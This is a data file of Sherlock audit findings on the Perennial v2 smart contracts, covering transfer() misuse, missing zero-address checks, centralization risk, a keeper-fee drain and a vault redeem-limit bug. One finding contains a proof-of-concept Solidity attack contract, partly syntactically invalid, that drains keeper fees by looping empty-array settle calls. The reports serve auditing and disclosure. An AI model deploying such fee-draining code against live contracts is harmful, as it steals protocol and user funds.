+{"title":"Use Of `transfer` or `send` Instead Of `call` To Send Native Assets","body":"Sweet Daffodil Pelican\n\nmedium\n\n# Use Of `transfer` or `send` Instead Of `call` To Send Native Assets\n\n## Summary\nThe use of .transfer() or .send() for transferring native assets in smart contracts is discouraged due to the 2300 gas stipend limit, which may not be sufficient for all transactions, particularly when interacting with contracts requiring more complex computations in their fallback functions.\n\n\n## Vulnerability Detail\nUsing .transfer() or .send() for sending Ether can cause transactions to fail if the receiver is a contract that requires more than the gas stipend of 2300 gas units. This limitation makes these methods less flexible and potentially risky when sending Ether to unknown contracts, as it assumes all contracts can operate within this gas limit.\n\n\n## Impact\nThe impact of this issue is low, given that the failure of Ether transfer does not typically compromise the contract's security. However, it can lead to a poor user experience and could potentially disrupt the contract's intended flow.\n\n\n## Code Snippet\nClick to show findings
\n\n```solidity\nPath: ./perennial-v2/packages/perennial-extensions/contracts/MultiInvoker.sol\n\n166: payable(msg.sender).transfer(address(this).balance);\t// @audit-issue\n```\n*GitHub*: [166](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/MultiInvoker.sol#L166-L166)\n## Tool used\n\nManual Review - Used my own static analyzer (still in development)\n\n## Recommendation\nIt is recommended to replace .transfer() or .send() with .call() in combination with .value() to send native assets. This method allows specifying the exact amount of gas to send along with the transaction, providing greater flexibility and reducing the risk of failed transactions due to out-of-gas errors.","dataSource":{"name":"sherlock-audit/2023-10-perennial-judging","repo":"https://github.com/sherlock-audit/2023-10-perennial-judging","url":"https://github.com/sherlock-audit/2023-10-perennial-judging/blob/main//007/018.md"}}
+{"title":"Use Of `transfer` or `send` Instead Of `call` To Send Native Assets","body":"Sweet Daffodil Pelican\n\nfalse\n\n# Use Of `transfer` or `send` Instead Of `call` To Send Native Assets\n\n\n\n### [L-04] Use Of `transfer` or `send` Instead Of `call` To Send Native Assets\n### Severity\n* Impact: Low\n* Likelihood: Medium\n### Description\n\nThe use of `transfer()` in the contracts may have unintended outcomes on the native asset being sent to the receiver. The transaction will fail when:\n\n- The receiver address is a smart contract that does not implement a payable function.\n- The receiver address is a smart contract that implements a payable fallback function which uses more than 2300 gas units.\n- The receiver address is a smart contract that implements a payable fallback function that needs less than 2300 gas units but is called through proxy, raising the call's gas usage above 2300.\n- Additionally, using a gas value higher than 2300 might be mandatory for some multi-signature wallets.\n\n\n\n\n### Number Of Instances Found\n1\n\n### Code Location\nClick to show findings
\n\n```solidity\nPath: ./perennial-v2/packages/perennial-extensions/contracts/MultiInvoker.sol\n\n166: payable(msg.sender).transfer(address(this).balance);\t// @audit-issue\n```\n*GitHub*: [166](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/MultiInvoker.sol#L166-L166)\n ","dataSource":{"name":"sherlock-audit/2023-10-perennial-judging","repo":"https://github.com/sherlock-audit/2023-10-perennial-judging","url":"https://github.com/sherlock-audit/2023-10-perennial-judging/blob/main//007/014.md"}}
+{"title":"Missing checks for `address(0)` when updating state variables","body":"Sweet Daffodil Pelican\n\nfalse\n\n# Missing checks for `address(0)` when updating state variables\n\n\n### [L-02]\n### Severity\n* Impact: Medium\n* Likelihood: Low\n### Description\n\nIn Solidity, the Ethereum address `0x0000000000000000000000000000000000000000` is known as the \"zero address\". This address has significance because it's the default value for uninitialized address variables and is often used to represent an invalid or non-existent address. The \"Missing zero address control\" issue arises when a Solidity smart contract does not properly check or prevent interactions with the zero address, leading to unintended behavior.\nFor instance, a contract might allow tokens to be sent to the zero address without any checks, which essentially burns those tokens as they become irretrievable. While sometimes this is intentional, without proper control or checks, accidental transfers could occur. \n \n\n### Number Of Instances Found\n6\n\n### Code Location\nClick to show findings
\n\n```solidity\nPath: ./perennial-v2/packages/perennial/contracts/Market.sol\n\n68: token = definition_.token;\t// @audit-issue\n\n69: oracle = definition_.oracle;\t// @audit-issue\n\n70: payoff = definition_.payoff;\t// @audit-issue\n\n97: beneficiary = newBeneficiary;\t// @audit-issue\n\n104: coordinator = newCoordinator;\t// @audit-issue\n```\n*GitHub*: [68](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/Market.sol#L68-L68), [69](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/Market.sol#L69-L69), [70](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/Market.sol#L70-L70), [97](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/Market.sol#L97-L97), [104](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/Market.sol#L104-L104)\n```solidity\nPath: ./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol\n\n105: oracleFactory = oracleFactory_;\t// @audit-issue\n```\n*GitHub*: [105](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L105-L105)\n ","dataSource":{"name":"sherlock-audit/2023-10-perennial-judging","repo":"https://github.com/sherlock-audit/2023-10-perennial-judging","url":"https://github.com/sherlock-audit/2023-10-perennial-judging/blob/main//006/012.md"}}
+{"title":"Missing checks for `address(0)` in constructor/initializers","body":"Sweet Daffodil Pelican\n\nfalse\n\n# Missing checks for `address(0)` in constructor/initializers\n\n\n### [L-01] Missing checks for `address(0)` in constructor/initializers\n### Severity\n* Impact: Medium\n* Likelihood: Low\n### Description\n\nIn Solidity, the Ethereum address `0x0000000000000000000000000000000000000000` is known as the \"zero address\". This address has significance because it's the default value for uninitialized address variables and is often used to represent an invalid or non-existent address. The \"Missing zero address control\" issue arises when a Solidity smart contract does not properly check or prevent interactions with the zero address, leading to unintended behavior.\nFor instance, a contract might allow tokens to be sent to the zero address without any checks, which essentially burns those tokens as they become irretrievable. While sometimes this is intentional, without proper control or checks, accidental transfers could occur. \n \n\n### Number Of Instances Found\n4\n\n### Code Location\nClick to show findings
\n\n```solidity\nPath: ./perennial-v2/packages/perennial-extensions/contracts/MultiInvoker.sol\n\n71: marketFactory = marketFactory_;\t// @audit-issue\n\n72: vaultFactory = vaultFactory_;\t// @audit-issue\n\n73: batcher = batcher_;\t// @audit-issue\n\n74: reserve = reserve_;\t// @audit-issue\n```\n*GitHub*: [71](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/MultiInvoker.sol#L71-L71), [72](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/MultiInvoker.sol#L72-L72), [73](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/MultiInvoker.sol#L73-L73), [74](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-extensions/contracts/MultiInvoker.sol#L74-L74)\n ","dataSource":{"name":"sherlock-audit/2023-10-perennial-judging","repo":"https://github.com/sherlock-audit/2023-10-perennial-judging","url":"https://github.com/sherlock-audit/2023-10-perennial-judging/blob/main//006/011.md"}}
+{"title":"Centralization risk for privileged functions|19|","body":"Sweet Daffodil Pelican\n\nmedium\n\n# Centralization risk for privileged functions|19|\n\n## Summary\nThe contracts contain several functions with privileged access, which are only accessible by the owner or admin. These functions are central to the contract's functionality but pose a centralization risk if the privileged roles are not managed securely.\n\n## Vulnerability Detail\nThe owner-only functions include critical operations like updating beneficiaries, coordinators, and market parameters, which are susceptible to misuse if the owner's account is compromised. This centralization introduces a single point of failure and trust dependency.\n\n\n## Impact\nIf the owner account is compromised, malicious actors could alter the contract's behavior, leading to loss of funds or manipulation of the contract's intended functionality. The centralization risk also affects the contract's decentralization ethos.\n\n\n## Code Snippet\n\n### [M-01] Centralization risk for privileged functions\n### Severity\n* Impact: Medium\n* Likelihood: Low\n### Description\n\nContracts with privileged functions need owner/admin to be trusted not to perform malicious updates or drain funds. This may also cause a single point failure.\n\n\n### Number Of Instances Found\n19\n\n### Code Location\nClick to show findings
\n\n```solidity\nPath: ./perennial-v2/packages/perennial/contracts/Market.sol\n\n96: function updateBeneficiary(address newBeneficiary) external onlyOwner {\t// @audit-issue\n\n103: function updateCoordinator(address newCoordinator) external onlyOwner {\t// @audit-issue\n\n110: function updateParameter(MarketParameter memory newParameter) external onlyOwner {\t// @audit-issue\n\n124: function updateReward(Token18 newReward) public onlyOwner {\t// @audit-issue\n```\n*GitHub*: [96](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/Market.sol#L96-L96), [103](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/Market.sol#L103-L103), [110](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/Market.sol#L110-L110), [124](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/Market.sol#L124-L124)\n```solidity\nPath: ./perennial-v2/packages/perennial-vault/contracts/Vault.sol\n\n147: function register(IMarket market) external onlyOwner {\t// @audit-issue\n\n174: function updateMarket(uint256 marketId, uint256 newWeight, UFixed6 newLeverage) external onlyOwner {\t// @audit-issue\n\n195: function updateParameter(VaultParameter memory newParameter) external onlyOwner {\t// @audit-issue\n\n209: function claimReward() external onlyOwner {\t// @audit-issue\n```\n*GitHub*: [147](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-vault/contracts/Vault.sol#L147-L147), [174](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-vault/contracts/Vault.sol#L174-L174), [195](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-vault/contracts/Vault.sol#L195-L195), [209](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-vault/contracts/Vault.sol#L209-L209)\n```solidity\nPath: ./perennial-v2/packages/perennial-oracle/contracts/OracleFactory.sol\n\n48: function register(IOracleProviderFactory factory) external onlyOwner {\t// @audit-issue\n\n55: function authorize(IFactory caller) external onlyOwner {\t// @audit-issue\n\n64: function create(bytes32 id, IOracleProviderFactory factory) external onlyOwner returns (IOracle newOracle) {\t// @audit-issue\n\n80: function update(bytes32 id, IOracleProviderFactory factory) external onlyOwner {\t// @audit-issue\n\n92: function updateMaxClaim(UFixed6 newMaxClaim) external onlyOwner {\t// @audit-issue\n```\n*GitHub*: [48](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/OracleFactory.sol#L48-L48), [55](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/OracleFactory.sol#L55-L55), [64](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/OracleFactory.sol#L64-L64), [80](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/OracleFactory.sol#L80-L80), [92](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/OracleFactory.sol#L92-L92)\n```solidity\nPath: ./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol\n\n111: function authorize(IFactory factory) external onlyOwner {\t// @audit-issue\n\n119: function associate(bytes32 id, bytes32 underlyingId) external onlyOwner {\t// @audit-issue\n\n133: function create(bytes32 id) public virtual onlyOwner returns (IKeeperOracle newOracle) {\t// @audit-issue\n\n240: function updateGranularity(uint256 newGranularity) external onlyOwner {\t// @audit-issue\n```\n*GitHub*: [111](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L111-L111), [119](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L119-L119), [133](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L133-L133), [240](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L240-L240)\n```solidity\nPath: ./perennial-v2/packages/perennial-reward/contracts/Reward.sol\n\n38: function register(IFactory factory) external onlyOwner {\t// @audit-issue\n\n46: function mint(address to, uint256 amount) external onlyOwner {\t// @audit-issue\n```\n*GitHub*: [38](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-reward/contracts/Reward.sol#L38-L38), [46](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-reward/contracts/Reward.sol#L46-L46)\n \n\n\n## Tool used\n\nManual Review - Used my own static analyzer (still in development)\n\n## Recommendation\n\nIt's recommended to implement multi-signature or decentralized governance mechanisms for privileged functions to mitigate the risk of centralization. Alternatively, consider using time-locks for critical operations to allow for community review and intervention if necessary. Regular security audits and restricting access to owner-only functions can also help to minimize risks.","dataSource":{"name":"sherlock-audit/2023-10-perennial-judging","repo":"https://github.com/sherlock-audit/2023-10-perennial-judging","url":"https://github.com/sherlock-audit/2023-10-perennial-judging/blob/main//005/016.md"}}
+{"title":"Centralization risk for privileged functions","body":"Sweet Daffodil Pelican\n\nmedium\n\n# Centralization risk for privileged functions\n\n\n### [M-01] Centralization risk for privileged functions\n### Severity\n* Impact: Medium\n* Likelihood: Low\n### Description\n\nContracts with privileged functions need owner/admin to be trusted not to perform malicious updates or drain funds. This may also cause a single point failure.\n\n\n### Number Of Instances Found\n19\n\n### Code Location\nClick to show findings
\n\n```solidity\nPath: ./perennial-v2/packages/perennial/contracts/Market.sol\n\n96: function updateBeneficiary(address newBeneficiary) external onlyOwner {\t// @audit-issue\n\n103: function updateCoordinator(address newCoordinator) external onlyOwner {\t// @audit-issue\n\n110: function updateParameter(MarketParameter memory newParameter) external onlyOwner {\t// @audit-issue\n\n124: function updateReward(Token18 newReward) public onlyOwner {\t// @audit-issue\n```\n*GitHub*: [96](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/Market.sol#L96-L96), [103](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/Market.sol#L103-L103), [110](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/Market.sol#L110-L110), [124](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial/contracts/Market.sol#L124-L124)\n```solidity\nPath: ./perennial-v2/packages/perennial-vault/contracts/Vault.sol\n\n147: function register(IMarket market) external onlyOwner {\t// @audit-issue\n\n174: function updateMarket(uint256 marketId, uint256 newWeight, UFixed6 newLeverage) external onlyOwner {\t// @audit-issue\n\n195: function updateParameter(VaultParameter memory newParameter) external onlyOwner {\t// @audit-issue\n\n209: function claimReward() external onlyOwner {\t// @audit-issue\n```\n*GitHub*: [147](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-vault/contracts/Vault.sol#L147-L147), [174](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-vault/contracts/Vault.sol#L174-L174), [195](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-vault/contracts/Vault.sol#L195-L195), [209](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-vault/contracts/Vault.sol#L209-L209)\n```solidity\nPath: ./perennial-v2/packages/perennial-oracle/contracts/OracleFactory.sol\n\n48: function register(IOracleProviderFactory factory) external onlyOwner {\t// @audit-issue\n\n55: function authorize(IFactory caller) external onlyOwner {\t// @audit-issue\n\n64: function create(bytes32 id, IOracleProviderFactory factory) external onlyOwner returns (IOracle newOracle) {\t// @audit-issue\n\n80: function update(bytes32 id, IOracleProviderFactory factory) external onlyOwner {\t// @audit-issue\n\n92: function updateMaxClaim(UFixed6 newMaxClaim) external onlyOwner {\t// @audit-issue\n```\n*GitHub*: [48](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/OracleFactory.sol#L48-L48), [55](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/OracleFactory.sol#L55-L55), [64](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/OracleFactory.sol#L64-L64), [80](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/OracleFactory.sol#L80-L80), [92](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/OracleFactory.sol#L92-L92)\n```solidity\nPath: ./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol\n\n111: function authorize(IFactory factory) external onlyOwner {\t// @audit-issue\n\n119: function associate(bytes32 id, bytes32 underlyingId) external onlyOwner {\t// @audit-issue\n\n133: function create(bytes32 id) public virtual onlyOwner returns (IKeeperOracle newOracle) {\t// @audit-issue\n\n240: function updateGranularity(uint256 newGranularity) external onlyOwner {\t// @audit-issue\n```\n*GitHub*: [111](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L111-L111), [119](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L119-L119), [133](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L133-L133), [240](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L240-L240)\n```solidity\nPath: ./perennial-v2/packages/perennial-reward/contracts/Reward.sol\n\n38: function register(IFactory factory) external onlyOwner {\t// @audit-issue\n\n46: function mint(address to, uint256 amount) external onlyOwner {\t// @audit-issue\n```\n*GitHub*: [38](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-reward/contracts/Reward.sol#L38-L38), [46](https://github.com/sherlock-audit/2023-10-perennial/blob/main/./perennial-v2/packages/perennial-reward/contracts/Reward.sol#L46-L46)\n ","dataSource":{"name":"sherlock-audit/2023-10-perennial-judging","repo":"https://github.com/sherlock-audit/2023-10-perennial-judging","url":"https://github.com/sherlock-audit/2023-10-perennial-judging/blob/main//005/010.md"}}
+{"title":"Attacker can call `KeeperFactory#settle` with empty arrays as input parameters to steal all keeper fees","body":"Gorgeous Oily Salmon\n\nhigh\n\n# Attacker can call `KeeperFactory#settle` with empty arrays as input parameters to steal all keeper fees\n\n## Summary\nAnyone can call `KeeperFactory#request`, inputting empty arrays as parameters, and the call will succeed, and the caller receives a fee.\n\nAttacker can perform this attack many times within a loop to steal ALL keeper fees from protocol.\n\n## Vulnerability Detail\n### Expected Workflow:\n\n- User calls [`Market#update`](https://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial/contracts/Market.sol#L80) to open a new position\n- Market calls [`Oracle#request`](https://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial/contracts/Market.sol#L369) to request a new oracleVersion\n - The User's account [gets added](https://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperOracle.sol#L83) to a callback array of the market\n- Once new oracleVersion gets [committed](https://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L163), keepers can call [`KeeperFactory#settle`](https://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L202), which will call [`Market#update`](https://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperOracle.sol#L177) on accounts in the Market's callback array, and [pay](https://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L204) the keeper(i.e. caller) a fee.\n - KeeperFactory#settle call [will fail](https://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperOracle.sol#L137-L139) if there is no account to settle(i.e. if callback array is empty)\n - After [`settle`ing](https://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperOracle.sol#L143) an account, it gets [removed](https://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperOracle.sol#L144) from the callback array\n\n### The issue:\n\nHere is [KeeperFactory#settle](https://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L202-L217) function:\n\n```solidity\nfunction settle(bytes32[] memory ids, IMarket[] memory markets, uint256[] memory versions, uint256[] memory maxCounts)\n external\n keep(settleKeepConfig(), msg.data, 0, \"\")\n{\n if (\n ids.length != markets.length ||\n ids.length != versions.length ||\n ids.length != maxCounts.length ||\n // Prevent calldata stuffing\n abi.encodeCall(KeeperFactory.settle, (ids, markets, versions, maxCounts)).length != msg.data.length\n )\n revert KeeperFactoryInvalidSettleError();\n\n for (uint256 i; i < ids.length; i++)\n IKeeperOracle(address(oracles[ids[i]])).settle(markets[i], versions[i], maxCounts[i]);\n}\n\n```\n\nAs we can see, function does not check if the length of the array is 0, so if user inputs empty array, the for loop will not be entered, but the keeper still receives a fee via the `keep` modifier.\n\nAttacker can have a contract perform the attack multiple times in a loop to drain all fees:\n\n```solidity\ninterface IKeeperFactory{\n function settle(bytes32[] memory ids,IMarket[] memory markets,uint256[] memory versions,uint256[] memory maxCounts\n ) external;\n}\n\ninterface IMarket(\n function update()external;\n)\n\ncontract AttackContract{\n\n address public attacker;\n address public keeperFactory;\n IERC20 public keeperToken;\n\n constructor(address perennialDeployedKeeperFactory, IERC20 _keeperToken){\n attacker=msg.sender;\n keeperFactory=perennialDeployedKeeperFactory;\n keeperToken=_keeperToken;\n }\n\n function attack()external{\n require(msg.sender==attacker,\"not allowed\");\n\n bool canSteal=true;\n\n // empty arrays as parameters\n bytes32[] memory ids=[];\n IMarket[] memory markets=[];\n uint256[] versions=[];\n uint256[] maxCounts=[];\n\n // perform attack in a loop till all funds are drained or call reverts\n while(canSteal){\n try IKeeperFactory(keeperFactory).settle(ids,markets,versions,maxCounts){\n //\n }catch{\n canSteal=false;\n }\n }\n keeperToken.transfer(msg.sender, keeperToken.balanceOf(address(this)));\n }\n}\n```\n\n## Impact\nAll keeper fees can be stolen from protocol, and there will be no way to incentivize Keepers to commitRequested oracle version, and other keeper tasks\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L206-L212\n## Tool used\n\nManual Review\n\n## Recommendation\nWithin KeeperFactory#settle function, revert if `ids.length==0`:\n\n```solidity\nfunction settle(\n bytes32[] memory ids,\n IMarket[] memory markets,\n uint256[] memory versions,\n uint256[] memory maxCounts\n)external keep(settleKeepConfig(), msg.data, 0, \"\") {\n if (\n++++ ids.length==0 ||\n ids.length != markets.length ||\n ids.length != versions.length ||\n ids.length != maxCounts.length ||\n // Prevent calldata stuffing\n abi.encodeCall(KeeperFactory.settle, (ids, markets, versions, maxCounts)).length != msg.data.length\n ) revert KeeperFactoryInvalidSettleError();\n\n for (uint256 i; i < ids.length; i++)\n IKeeperOracle(address(oracles[ids[i]])).settle(markets[i], versions[i], maxCounts[i]);\n}\n```","dataSource":{"name":"sherlock-audit/2023-10-perennial-judging","repo":"https://github.com/sherlock-audit/2023-10-perennial-judging","url":"https://github.com/sherlock-audit/2023-10-perennial-judging/blob/main//004/050.md"}}
+{"title":"Oracle fees can be drained by calling settle several times","body":"Melted Tawny Ladybug\n\nhigh\n\n# Oracle fees can be drained by calling settle several times\n\n## Summary\nKeeperFactory.settle function allows anyone to call it with empty arrays. As result, such a call will not revert and caller will get repayment for it from from fees paid my Market users. Calling such function multiple times in a row will allow attacker to get all fee out of OracleFactory.\n## Vulnerability Detail\nIn order to incentivize bots to provide oracle prices and execute settlement, user pay fee with each position update. This fee [can later be claimed by `OracleFactory`](https://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/OracleFactory.sol#L120), so [market will transfer all accrued oracle fee to it](https://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial/contracts/Market.sol#L138-L139).\n\nWhen bot provide oracle prices using `KeeperFactory.commit` or executes settling using `KeeperFactory.settle`, then he is rewarded with payment for that, which is handled by `keep` modifier. When bot has done a job, then he receives rewards, so such call should be profitable for them.\n\nThe problem is that [`KeeperFactory.settle` function](https://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L202-L217) can be called with empty arrays, which will pass same array size checks and as result there will be no further checks and function will not revert. Then caller will be paid using user's fees. Actually, he receives funds for nothing and he can repeat such attack as long as there are still available oracle fees.\n## Impact\nMarket will likely stop working as attacker will steal all oracle fees and no one will be incentivized to update prices and make settlements anymore.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-oracle/contracts/keeper/KeeperFactory.sol#L202-L217\n## Tool used\n\nManual Review\n\n## Recommendation\nIn case if provided array is empty, then revert.","dataSource":{"name":"sherlock-audit/2023-10-perennial-judging","repo":"https://github.com/sherlock-audit/2023-10-perennial-judging","url":"https://github.com/sherlock-audit/2023-10-perennial-judging/blob/main//004/009.md"}}
+{"title":"Vault max redeem calculations limit redeem amount to the smallest position size in underlying markets which can lead to very small max redeem amount even with huge TVL vault","body":"Bouncy Corduroy Chimpanzee\n\nhigh\n\n# Vault max redeem calculations limit redeem amount to the smallest position size in underlying markets which can lead to very small max redeem amount even with huge TVL vault\n\n## Summary\n\nWhen redeeming from the vault, maximum amount allowed to be redeemed is limited by current opened position in each underlying market (the smallest opened position adjusted for weight). However, if any one market has its maker close to maker limit, the vault will open very small position, limited by maker limit. But now all redeems will be limited by this very small position for no reason: when almost any amount is redeemed, the vault will attempt to **increase** (not decrease) position in such market, so there is no sense in limiting redeem amount to the smallest position.\n\nThis issue can create huge problems for users with large deposits. For example, if the user has deposited $10M to the vault, but due to one of the underlying markets the max redeem amount is only $1, user will need to do 10M transactions to redeem his full amount (which will not make sense due to gas).\n\n## Vulnerability Detail\n\nVault's `maxRedeem` is calculated for each market as:\n\n```solidity\nUFixed6 collateral = marketContext.currentPosition.maker\n .sub(marketContext.currentPosition.net().min(marketContext.currentPosition.maker)) // available maker\n .min(marketContext.closable.mul(StrategyLib.LEVERAGE_BUFFER)) // available closable\n .muldiv(marketContext.latestPrice.abs(), registration.leverage) // available collateral\n .muldiv(totalWeight, registration.weight); // collateral in market\n\nredemptionAssets = redemptionAssets.min(collateral);\n```\n\n`closable` is limited by the vault's settled and current positions in the market. As can be seen from the calculation, redeem amount is limited by vault's position in the market. However, if the position is far from target due to different market limitations, this doesn't make much sense. For example, if vault has $2M deposts and there are 2 underlying markets, each with weight 1, and:\n\n1. In Market1 vault position is worth $1 (target position = $1M)\n2. In Market2 vault position is worth $1M (target position = $1M)\n\nThe `maxRedeem` will be limited to $1, even though redeeming any amount up to $999999 will only make the vault attempt to increase position in Market1 rather than decrease.\n\nThere is also an opposite situation possible, when current position is higher than target position (due to LEVERAGE_BUFFER). This will make maxredeem too high. For example, similar example to previous, but:\n\n1. In Market1 vault position is worth $1.2M (target position = $1M)\n2. In Market2 vault position is worth $1.2M (target position = $1M)\n\nThe `maxRedeem` will be limited to $1.44M (due to LEVERAGE_BUFFER), without even comparing the current collateral (which is just $1M per market), based only on position size.\n\n## Impact\n\nWhen vault's position is small in any underlying market due to maker limit, the max redeem amount in the vault will be very small, which will force users with large deposits to use a lot of transactions to redeem it (they'll lose funds to gas) or it might even be next to impossible to do at all (if, for example, user has a deposit of $10M and max redeem = $1), in such case the redeems are basically broken and not possible to do.\n\n## Code Snippet\n\n`maxRedeem` calculation:\nhttps://github.com/sherlock-audit/2023-10-perennial/blob/main/perennial-v2/packages/perennial-vault/contracts/lib/StrategyLib.sol#L94-L98\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider calculating max redeem by comparing target position vs current position and then target collateral vs current collateral instead of using only current position for calculations. This might be somewhat complex, because it will require to re-calculate allocation amounts to compare target vs current position. Possibly max redeem should not be limited as a separate check, but rather as part of the `allocate()` calculations (reverting if the actual leverage is too high in the end)","dataSource":{"name":"sherlock-audit/2023-10-perennial-judging","repo":"https://github.com/sherlock-audit/2023-10-perennial-judging","url":"https://github.com/sherlock-audit/2023-10-perennial-judging/blob/main//003/029.md"}}
